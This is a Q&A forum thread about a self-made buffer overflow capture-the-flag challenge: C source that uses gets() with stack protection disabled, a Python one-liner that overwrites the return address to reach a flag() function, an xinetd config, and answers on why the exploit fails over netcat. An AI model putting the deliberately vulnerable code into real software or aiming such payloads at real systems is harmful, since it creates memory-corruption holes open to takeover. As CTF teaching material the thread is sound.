2

So I made a simple buffer overflow challenge and attempted to host it on a digitalocean droplet. The challenge source is below, and is compiled using gcc welcome.c -fno-stack-protector -no-pie -o welcome.

#include <unistd.h>
#include <stdio.h>

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    char name[25];
    printf("whats your name? ");
    gets(name);
    printf("welcome to pwn, %s!\n", name);
    return 0;
}

void flag() {
    char flag[50];
    FILE* stream = fopen("flag.txt", "r");
    fgets(flag, 50, stream);
    printf("%s", flag);
}

Locally on the Docker the challenge is running on, I am able to use this exploit:

root@d8e27ba55693:/home/ctf# python -c "print 'A' * 40 + '\xfc\x06\x40\x00\x00\x00\x00\x00' + '\xae\x06\x40\x00\x00\x00\x00\x00'" | ./welcome # Works This Way!
whats your name? welcome to pwn, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
flag{g3t5_m3_3v3ry_t1m3}
Segmentation fault (core dumped)

I use this xinetd file to make it available over the network:

service welcome
{
    disable = no
    socket_type = stream
    protocol    = tcp
    wait        = no
    user        = ctf
    type        = UNLISTED
    port        = 1337
    bind        = 0.0.0.0
    server      = /home/ctf/run.sh
    # safety options
    per_source  = 10 # the maximum instances of this service per source IP address
    rlimit_cpu  = 20 # the maximum number of CPU seconds that the service may use
    rlimit_as  = 512M # the Address Space resource limit for the service
}

Trying to use it over the netcat connection though, it doesn't work:

root@d8e27ba55693:/home/ctf# python -c "print 'A' * 40 + '\xfc\x06\x40\x00\x00\x00\x00\x00' + '\xae\x06\x40\x00\x00\x00\x00\x00'" | nc localhost 1337 # Hmmmm...
whats your name? welcome to pwn, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
/home/ctf/run.sh: line 3:   339 Segmentation fault      (core dumped) /home/ctf/welcome

All of the files I am using to host the challenge can be found here. Any help or other tips would be appreciated. I have spent a large part of the day confused about this.

Bonus question, why does the binary hang after completion on the remote server until the user hits enter? Maybe my setvbuf is incorrect? If someone could explain this that would be great! I am fairly new to this stuff.

2

EDIT: Your xinetd configuration file contains the line user = ctf, meaning the program is run as user ctf when invoked over the network, which (probably?) doesn't have read access to the flag.txt file it tries to fopen() after overflowing the buffer; hence "flag{g3t5_m3_3v3ry_t1m3}" not getting printed.

You can verify this by checking whether the returned pointer stream is NULL. I hope this demonstrates (yet again) that one should always check return values, especially when dealing with libraries handling external resources.

Leaving the original answer/guess below for the time being for reference sake:


That buffer overflows the same in both cases, but whether or not this particular example program will show you the evidence thereof depends on when its output buffer is flushed:

When a program is outputting to a terminal, output is line buffered, meaning that it's flushed whenever a newline character is printed.

In contrast, when accessing the program through xinetd, output is redirected from the program to xinetd through a unix pipe (expressed as a | in the case of shell commands), and not being a terminal, a unix pipe by default has its output block buffered, meaning it only flushes the output once the buffer fills up or the program terminates. However, if that termination happens to be a segfault, the output buffer of the program gets destroyed; meaning xinetd on the other end of the pipe receives nothing.

You can work around this by adding fflush(stdout); to the end of your flag function, which will cause the buffer to be flushed immediately.

See also this answer to a related question, and the manual page for the setbuf and fflush functions.


Credit to user Joseph Sible-Reinstate Monica for improvements and noticing a crucial inconsistency in my original theory.

5
  • I feel like this slightly mixes up the buffer of the Unix pipe (which is in the kernel and not lost even if the sender is kill -9'd), with the block buffering done by the stdio functions. Apr 20 '20 at 5:09
  • @JosephSible-ReinstateMonica Hmm, maybe I should make that distinction, but I don't want get lost in too much detail. If you have any idea suggestion on how to improve the wording, please feel free to edit (or add your own answer of course).
    – Will
    Apr 20 '20 at 5:13
  • 2
    @JosephSible-ReinstateMonica Thanks for including that filled buffers will cause early flushing too, adding the man page references, and mentioning a workaround. All of those are nice improvements to this answer!
    – Will
    Apr 20 '20 at 5:23
  • 2
    After I made my edit, there's something I don't understand if this is indeed what happened: why was the welcome to pwn message successfully sent over the network? I'd expect it would have gotten lost in block-buffering mode too. Apr 20 '20 at 5:23
  • 2
    @JosephSible-ReinstateMonica Oops, I think I figured out OP's actual cause: trying to read flag.txt as user root, versus trying to read it as user ctf, which likely doesn't have read permissions to whatever user OP created that file with in the 1st place.
    – Will
    Apr 20 '20 at 6:04

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.